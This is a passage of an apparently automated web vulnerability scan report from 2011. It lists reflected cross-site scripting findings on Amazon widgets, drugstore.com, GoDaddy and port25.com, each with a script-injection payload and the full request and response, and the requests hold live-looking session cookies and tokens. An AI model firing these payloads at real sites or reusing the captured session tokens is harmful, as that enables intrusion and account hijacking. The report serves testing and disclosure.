Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 17:57:49 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding,User-Agent
Content-Length: 6111
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html;charset=ut
...[SNIP]...
-border-radius: 3px;
               -webkit-border-radius: 3px;
               text-align:left;
               position: relative;
           }

           div#wgp_wrapper h1 {
               width:288;
               font-size:14px;
               border-bottom:1px solid #cecece2bfeb<img src=a onerror=alert(1)>eb9fdd2a92b;color:#6a6a6a;                font-family:"Helvetica Neue",Arial,Helvetica,"Nimbus Sans L",sans-serif;
               height:18px;
               margin:0 12px 10px 12px;
               padding:10px 0 5px 0px;

           }

           div#wgp_wrapp
...[SNIP]...

2.39. http://ws.amazon.com/widgets/q [InstanceId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ws.amazon.com
Path:	/widgets/q

Issue detail

The value of the InstanceId request parameter is copied into the HTML document as plain text between tags. The payload ad702<script>alert(1)</script>0fab63627de was submitted in the InstanceId parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /widgets/q?Operation=GetTopSellers&URL=http%3A//portal.opera.com/&InstanceId=0ad702<script>alert(1)</script>0fab63627de&ResponseCount=6&TemplateId=8002&ServiceVersion=20070822&MarketPlace=US HTTP/1.1
Host: ws.amazon.com
Proxy-Connection: keep-alive
Referer: http://portal.opera.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=194891197.337409241.1315233673.1315233673.1315236916.2; __utmz=194891197.1315236916.2.2.utmccn=(referral)|utmcsr=aws-portal.amazon.com|utmcct=/gp/aws/html-forms-controller/contactus98dd2'%3bac3249871a9/aws-account-and-billing|utmcmd=referral; ct-main="?yScNOlWT31nv@QGPOP6MZlUTgEuPV67"; apn-user-id=ad436c0d-3f66-48df-8380-85023e358301; x-main="kYmMgX@s6zRSHrgXsrT2Jct5JsIxFj@7"; aws-ubid-main=189-0212498-8250436; aws-x-main=UsPqM6hqJEtppz2vUlxJzQS7UOORf9DA; session-token=SQF/NkehkGMk+jdlo6/NLXrRBtfG2aeSiUcxmLBxdBQ8cmJRMfNGlYkOX0a/N00l4OzAutqHvfb9FBh+fr8MF6/DdmBOr5uYhE9XOogb0pkADN6BRGFMatq2bldyvYdHA3jnepv+7Arl9xnJWdTft1/gFN5GixtGQVw8ONCdfFj7229gWrFCR/ylhyeHArd92XSZrR8ObUdlW6zcVvlI08NLUSNtliR/aHfv+MkySJE2G/JWqf7h9pFBH71guzzVfsd8zXeStVUwsLfl2A70Cg==; ubid-main=189-8322294-4852542; session-id-time=2082787201l; session-id=188-7348060-9795407

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 16:20:23 GMT
Server: Server
Cache-Control: must-revalidate
Pragma: no-cache
Expires: -1
p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC "
charset: UTF-8
Content-Length: 4272
Vary: User-Agent
nnCoection: close
Content-Type: text/json;charset=UTF-8

topseller_display_callback({results:[ { ASIN : "B002B28IA4" , Title : "Relator" , Price : "$0.99" , ImageUrl : "http:\/\/ecx.images-amazon.com\/images\/I\/51QAVIbyegL._SL160_.jpg" , LargeImageUrl : "
...[SNIP]...
8" , Rating : "4.5" , TotalReviews : "33" , Subtitle : "Pete Yorn & Scarlett Johansson (MP3 Download)" , DigitalAsin : "" , DigitalAsinPrice : "" , isDigital : "" } ], MarketPlace: "US", InstanceId: "0ad702<script>alert(1)</script>0fab63627de"})

2.40. http://ws.amazon.com/widgets/q [rt parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ws.amazon.com
Path:	/widgets/q

Issue detail

The value of the rt request parameter is copied into the HTML document as plain text between tags. The payload 95dae<script>alert(1)</script>6a5adbf78b9 was submitted in the rt parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /widgets/q?rt=tf_sw95dae<script>alert(1)</script>6a5adbf78b9&ServiceVersion=20070822&MarketPlace=US&ID=V20070822/US/opera-20/8002/238229ae-452b-41fb-b7b3-1913a7cb0733 HTTP/1.1
Host: ws.amazon.com
Proxy-Connection: keep-alive
Referer: http://portal.opera.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=194891197.337409241.1315233673.1315233673.1315236916.2; __utmz=194891197.1315236916.2.2.utmccn=(referral)|utmcsr=aws-portal.amazon.com|utmcct=/gp/aws/html-forms-controller/contactus98dd2'%3bac3249871a9/aws-account-and-billing|utmcmd=referral; ct-main="?yScNOlWT31nv@QGPOP6MZlUTgEuPV67"; apn-user-id=ad436c0d-3f66-48df-8380-85023e358301; x-main="kYmMgX@s6zRSHrgXsrT2Jct5JsIxFj@7"; aws-ubid-main=189-0212498-8250436; aws-x-main=UsPqM6hqJEtppz2vUlxJzQS7UOORf9DA; session-token=SQF/NkehkGMk+jdlo6/NLXrRBtfG2aeSiUcxmLBxdBQ8cmJRMfNGlYkOX0a/N00l4OzAutqHvfb9FBh+fr8MF6/DdmBOr5uYhE9XOogb0pkADN6BRGFMatq2bldyvYdHA3jnepv+7Arl9xnJWdTft1/gFN5GixtGQVw8ONCdfFj7229gWrFCR/ylhyeHArd92XSZrR8ObUdlW6zcVvlI08NLUSNtliR/aHfv+MkySJE2G/JWqf7h9pFBH71guzzVfsd8zXeStVUwsLfl2A70Cg==; ubid-main=189-8322294-4852542; session-id-time=2082787201l; session-id=188-7348060-9795407

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 16:19:37 GMT
Server: Server
Cache-Control: must-revalidate
Pragma: no-cache
Expires: -1
p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC "
charset: UTF-8
Vary: User-Agent
nnCoection: close
Content-Type: application/javascript;charset=UTF-8
Content-Length: 17017

var amzn_wdgt={"cols":3,"tag":"opera-20","width":"615","inner_bkgd_color":"#FFFFFF","serviceVersion":"20070822","use_default_search_term":false,"
...[SNIP]...
,"show_price":true,"border_color":"#636363","text_color":"#000000"}
amzn_wdgt.ID = "V20070822/US/opera-20/8002/238229ae-452b-41fb-b7b3-1913a7cb0733";
amzn_wdgt.rt = "as_li_tf_sw95dae<script>alert(1)</script>6a5adbf78b9";
if (typeof _amzn_utils_strs == "undefined") { _amzn_utils_strs = {}; }; _amzn_utils_strs.getStringForUS = function(key){
var obj = new Object(); obj.Book = 'Book';
obj.Se
...[SNIP]...

2.41. http://www.drugstore.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.drugstore.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ec1bb"><script>alert(1)</script>204f91ee9a2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?ec1bb"><script>alert(1)</script>204f91ee9a2=1 HTTP/1.1
Host: www.drugstore.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: STICKY=SEAWEB013P:7B1B08A6C5BF4A968C79C9BFB007FDD0:e5fygw55j4x2lwjzim2cqdi4

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 82029
Content-Type: text/html; charset=utf-8
Expires: Thu, 15 Sep 2011 16:30:37 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: STICKY=SEAWEB038P:7B1B08A6C5BF4A968C79C9BFB007FDD0:iqngviqoeihb2c45cjnvlk45; domain=.drugstore.com; expires=Thu, 15-Jan-2037 08:00:00 GMT; path=/
P3P: CP=CAO DSP COR CUR ADM DEV TAI PSD IVD CONi OUR DEL OTRo IND
Date: Fri, 16 Sep 2011 16:30:37 GMT
Set-Cookie: BIGipServerdscm_farm=2316609728.0.0000; expires=Fri, 16-Sep-2011 17:30:37 GMT; path=/
Vary: Accept-Encoding, User-Agent

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html><head><title>drugstore.com Online
...[SNIP]...
<meta name="uri" content="/Default.asp?ec1bb"><script>alert(1)</script>204f91ee9a2=1" />
...[SNIP]...

2.42. http://www.drugstore.com/pharmacy/drugindex/rxsearch.asp [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.drugstore.com
Path:	/pharmacy/drugindex/rxsearch.asp

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 96e13"><script>alert(1)</script>b95a630ec78 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /pharmacy/drugindex/rxsearch.asp?search=ess&96e13"><script>alert(1)</script>b95a630ec78=1 HTTP/1.1
Host: www.drugstore.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.drugstore.com/
Cookie: STICKY=SEAWEB038P:7B1B08A6C5BF4A968C79C9BFB007FDD0:ssmstg55acliez55gebilj55; ASP.NET_SessionId=tujq4xeiqb4bta55tp0jzqna; drugstore%2Efish=UserID=57ABB42C1945443F8A38894F54FEB227; ABTests=07082011_tns_abtest=abtest_not_qualified@&20051228_entrypages=1@09/16/2011 9:30:24 AM&091211_GWP_YTC=1@09/16/2011 9:30:24 AM&040610_bizrate_beauty=1@09/16/2011 9:30:24 AM&030411_click2chat_dscm=1@09/16/2011 9:30:24 AM&110210_bizrate_VD=abtest_not_qualified@&20090319_ForeSee_Vision=abtest_not_qualified@&pdetails_ver2=1@09/16/2011 9:30:24 AM&20060410_bizrate=0@09/16/2011 9:30:24 AM&20070530_GoogleCheckout=1@09/16/2011 9:30:24 AM&aggregate_knowledge=1@09/16/2011 9:30:24 AM&ship_interrupt=2@09/16/2011 9:30:24 AM&05262011_ivd_ciba_25percent_off=abtest_not_qualified@; BIGipServerdscm_farm=2316609728.0.0000; s_sess=%20s_cc%3Dtrue%3B%20abtest%3DABTEST_20060410_bizrate%257C0%3B%20s_sq%3Ddrugstorecomglobalprod%253D%252526pid%25253Dotc%2525253Ahomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/sites/0/icon_search.gif%252526ot%25253DIMAGE%3B; s_vi=[CS]v1|2739BCD58514B3D4-4000018C2004D12D[CE]; _br_uid_1=uid%3D5299788113416%3A; __cmbDomTm=0; __cmbU=ABJeb1_3NV-wS9CA4xNFiv3ShLSU4iGgty4u6k9WHsPFv60ohMiFdyhiaxwr6ZVfLN137aUZJTCXZJufx_taXD_Nnqj8E6TcGg; __cmbTpvTm=1058

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 77365
Content-Type: text/html; charset=utf-8
Expires: Thu, 15 Sep 2011 16:32:31 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: STICKY=SEAWEB038P:7B1B08A6C5BF4A968C79C9BFB007FDD0:kfehu3bw4kj4ruzyogwsyfjo; domain=.drugstore.com; expires=Thu, 15-Jan-2037 08:00:00 GMT; path=/
P3P: CP=CAO DSP COR CUR ADM DEV TAI PSD IVD CONi OUR DEL OTRo IND
Date: Fri, 16 Sep 2011 16:32:31 GMT
Set-Cookie: BIGipServerdscm_farm=2316609728.0.0000; expires=Fri, 16-Sep-2011 17:32:31 GMT; path=/
Vary: Accept-Encoding, User-Agent

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html><head><title>Ess - drugstore.com.
...[SNIP]...
<meta name="uri" content="/pharmacy/drugindex/rxsearch.asp?search=ess&96e13"><script>alert(1)</script>b95a630ec78=1" />
...[SNIP]...

2.43. http://www.godaddy.com/Domains/Controls/JsonContent/DotTypePricing.aspx [callback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/Domains/Controls/JsonContent/DotTypePricing.aspx

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 48043<script>alert(1)</script>b3ce9c0321b was submitted in the callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Domains/Controls/JsonContent/DotTypePricing.aspx?tab=general&callback=tabFill48043<script>alert(1)</script>b3ce9c0321b&targetDivId=tab2&tabFill=jsonp1316214560432&_=1316214560519 HTTP/1.1
Host: www.godaddy.com
Proxy-Connection: keep-alive
Referer: http://www.godaddy.com/domains/search.aspx
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/javascript, application/javascript, */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: currencypopin1=cdisplaypopin=false; GoogleADServicesgooglessl=dbdflblbdeidccshddredcccjfvazaii; flag1=cflag=us; ASP.NET_SessionId=kwd42kibl1s4hu55omguef55; preferences1=_sid=uddglhvacbaaxcsewbpfbfkhsgjjfjxe&gdshop_currencyType=USD&dataCenterCode=US; SplitValue1=95; pathway=b60669da-2123-4bfc-afe4-9bcdeba931e5; HPBackground=DanicaImageTwo; pagecount=2; actioncount=; app_pathway=; visitor=vid=8d587be0-834e-4a03-83dc-2f3bcb783a40; ShopperId1=sbravgnfjbbhqgwfvetdgajdqbqdniza; currency1=potableSourceStr=USD; adc1=US; traffic=cookies=1&referrer=&sitename=www.godaddy.com&page=/domains/search.aspx&server=M1PWCORPWEB181&status=200 OK&querystring=&shopper=46215684&privatelabelid=1&isc=&clientip=50.23.123.106&referringpath=b60669da-2123-4bfc-afe4-9bcdeba931e5&referringdomain=&split=95; BlueLithium_domainsearch=obsjsdjcfihcwgzeliqdtiigagkahckc; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMajorVer=-1&fMinorVer=-1&slMajorVer=-1&slMinorVer=-1

Response

HTTP/1.1 200 OK
Cache-Control: private,max-age=0
Content-Type: text/javascript; charset=utf-8
Expires: Wed, 01 Jan 1997 12:00:00 GMT
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
P3P: policyref="/w3c/p3p.xml", CP="COM CNT DEM FIN GOV INT NAV ONL PHY PRE PUR STA UNI IDC CAO OTI DSP COR CUR i OUR IND"
Date: Fri, 16 Sep 2011 18:10:00 GMT
Content-Length: 67

tabFill48043<script>alert(1)</script>b3ce9c0321b({"Error":"Error"})

2.44. http://www.godaddy.com/external/json/PcSetData.aspx [callback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/external/json/PcSetData.aspx

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 82ce3<script>alert(1)</script>e52d6463d1 was submitted in the callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /external/json/PcSetData.aspx?ci=17368&callback=pcj_setdata82ce3<script>alert(1)</script>e52d6463d1&pcj_setdata=jQuery151042539176414720714_1316214385506&_=1316214385976 HTTP/1.1
Host: www.godaddy.com
Proxy-Connection: keep-alive
Referer: http://www.godaddy.com/
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: currencypopin1=cdisplaypopin=false; GoogleADServicesgooglessl=dbdflblbdeidccshddredcccjfvazaii; ShopperId1=ndqiadmiugedwezalcdaffdhwjpgihjc; visitor=vid=8d587be0-834e-4a03-83dc-2f3bcb783a40; flag1=cflag=us; ASP.NET_SessionId=kwd42kibl1s4hu55omguef55; preferences1=_sid=uddglhvacbaaxcsewbpfbfkhsgjjfjxe&gdshop_currencyType=USD&dataCenterCode=US; currency1=potableSourceStr=USD; adc1=US; SplitValue1=95; HPBackground=DanicaImageOne; traffic=cookies=1&referrer=http://www.thewhir.com/web-hosting-news/091611_Go_Daddy_Helping_Customers_Repair_Compromised_Sites&sitename=www.godaddy.com&page=/default.aspx&server=M1PWCORPWEB181&status=200 OK&querystring=&shopper=46215684&privatelabelid=1&isc=&clientip=50.23.123.106&referringpath=&referringdomain=&split=95; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMajorVer=-1&fMinorVer=-1&slMajorVer=-1&slMinorVer=-1

Response

HTTP/1.1 200 OK
Cache-Control: private,max-age=0
Content-Type: text/javascript; charset=utf-8
Expires: Wed, 01 Jan 1997 12:00:00 GMT
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
P3P: policyref="/w3c/p3p.xml", CP="COM CNT DEM FIN GOV INT NAV ONL PHY PRE PUR STA UNI IDC CAO OTI DSP COR CUR i OUR IND"
Date: Fri, 16 Sep 2011 18:06:30 GMT
Content-Length: 70

pcj_setdata82ce3<script>alert(1)</script>e52d6463d1({"Error":"Error"})

2.45. http://www.godaddy.com/offers/jsoncontent/recommendedoffers.aspx [callback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/offers/jsoncontent/recommendedoffers.aspx

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 70544<script>alert(1)</script>9c6b6072b91 was submitted in the callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /offers/jsoncontent/recommendedoffers.aspx?ci=51455%2c50960&callback=jsonContent._fill70544<script>alert(1)</script>9c6b6072b91&targetDivId=tab1&jsonContent._fill=jQuery15108357319077476859_1316214566272&_=1316214567345 HTTP/1.1
Host: www.godaddy.com
Proxy-Connection: keep-alive
Referer: http://www.godaddy.com/offers/hot-deals2.aspx?ci=51455
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: currencypopin1=cdisplaypopin=false; GoogleADServicesgooglessl=dbdflblbdeidccshddredcccjfvazaii; flag1=cflag=us; ASP.NET_SessionId=kwd42kibl1s4hu55omguef55; preferences1=_sid=uddglhvacbaaxcsewbpfbfkhsgjjfjxe&gdshop_currencyType=USD&dataCenterCode=US; SplitValue1=95; pathway=b60669da-2123-4bfc-afe4-9bcdeba931e5; HPBackground=DanicaImageTwo; ShopperId1=sbravgnfjbbhqgwfvetdgajdqbqdniza; BlueLithium_domainsearch=obsjsdjcfihcwgzeliqdtiigagkahckc; currency1=potableSourceStr=USD; adc1=US; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMajorVer=-1&fMinorVer=-1&slMajorVer=-1&slMinorVer=-1; pagecount=3; actioncount=; app_pathway=; visitor=vid=8d587be0-834e-4a03-83dc-2f3bcb783a40; traffic=

Response

HTTP/1.1 200 OK
Cache-Control: private,max-age=0
Content-Type: text/javascript; charset=utf-8
Expires: Wed, 01 Jan 1997 12:00:00 GMT
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
P3P: policyref="/w3c/p3p.xml", CP="COM CNT DEM FIN GOV INT NAV ONL PHY PRE PUR STA UNI IDC CAO OTI DSP COR CUR i OUR IND"
Date: Fri, 16 Sep 2011 18:09:53 GMT
Content-Length: 77

jsonContent._fill70544<script>alert(1)</script>9c6b6072b91({"Error":"Error"})

2.46. http://www.powermta.port25.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 64f34"><script>alert(1)</script>6062cb3b219 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 64f34\"><script>alert(1)</script>6062cb3b219 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?64f34"><script>alert(1)</script>6062cb3b219=1 HTTP/1.1
Host: www.powermta.port25.com
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/download-a-white-paper/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=10cb98cd0f8440b2cc83a3d5c03dcf8c; __ar_v4=%7C4LZ2WHLFKZGJBDJQYVBYXX%3A20110916%3A1%7CUSFQSVPCUNEC3MWWKVX6RH%3A20110916%3A1%7CNQ5TTRI2MVGQHFZLQL6SMW%3A20110916%3A1; __utma=1.5711670.1316204852.1316204852.1316204852.1; __utmb=1.2.10.1316204852; __utmc=1; __utmz=1.1316204852.1.1.utmgclid=CL3QyvqJoqsCFSOAgwodRgln2A|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=smtp%20server

Response

HTTP/1.1 403 Forbidden
Date: Fri, 16 Sep 2011 15:27:47 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Content-Type: text/html; charset=UTF-8
Content-Length: 26732

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/?64f34\"><script>alert(1)</script>6062cb3b219=1" />
...[SNIP]...

2.47. http://www.powermta.port25.com/download-a-white-paper/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/download-a-white-paper/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c9f0d"><script>alert(1)</script>51bb29a8f27 was submitted in the REST URL parameter 1. This input was echoed as c9f0d\"><script>alert(1)</script>51bb29a8f27 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /download-a-white-paperc9f0d"><script>alert(1)</script>51bb29a8f27/ HTTP/1.1
Host: www.powermta.port25.com
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/smtp-server-software-2/?gclid=CL3QyvqJoqsCFSOAgwodRgln2A
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=10cb98cd0f8440b2cc83a3d5c03dcf8c; __utma=1.5711670.1316204852.1316204852.1316204852.1; __utmb=1.1.10.1316204852; __utmc=1; __utmz=1.1316204852.1.1.utmgclid=CL3QyvqJoqsCFSOAgwodRgln2A|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=smtp%20server; __ar_v4=%7C4LZ2WHLFKZGJBDJQYVBYXX%3A20110916%3A1%7CUSFQSVPCUNEC3MWWKVX6RH%3A20110916%3A1%7CNQ5TTRI2MVGQHFZLQL6SMW%3A20110916%3A1

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:27:46 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:27:46 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24845

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/download-a-white-paperc9f0d\"><script>alert(1)</script>51bb29a8f27/" />
...[SNIP]...

2.48. http://www.powermta.port25.com/download-a-white-paper/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/download-a-white-paper/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 72458"><script>alert(1)</script>6a2bba94794 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 72458\"><script>alert(1)</script>6a2bba94794 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /download-a-white-paper/?72458"><script>alert(1)</script>6a2bba94794=1 HTTP/1.1
Host: www.powermta.port25.com
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/smtp-server-software-2/?gclid=CL3QyvqJoqsCFSOAgwodRgln2A
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=10cb98cd0f8440b2cc83a3d5c03dcf8c; __utma=1.5711670.1316204852.1316204852.1316204852.1; __utmb=1.1.10.1316204852; __utmc=1; __utmz=1.1316204852.1.1.utmgclid=CL3QyvqJoqsCFSOAgwodRgln2A|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=smtp%20server; __ar_v4=%7C4LZ2WHLFKZGJBDJQYVBYXX%3A20110916%3A1%7CUSFQSVPCUNEC3MWWKVX6RH%3A20110916%3A1%7CNQ5TTRI2MVGQHFZLQL6SMW%3A20110916%3A1

Response

HTTP/1.1 403 Forbidden
Date: Fri, 16 Sep 2011 15:27:44 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Content-Type: text/html; charset=UTF-8
Content-Length: 41602

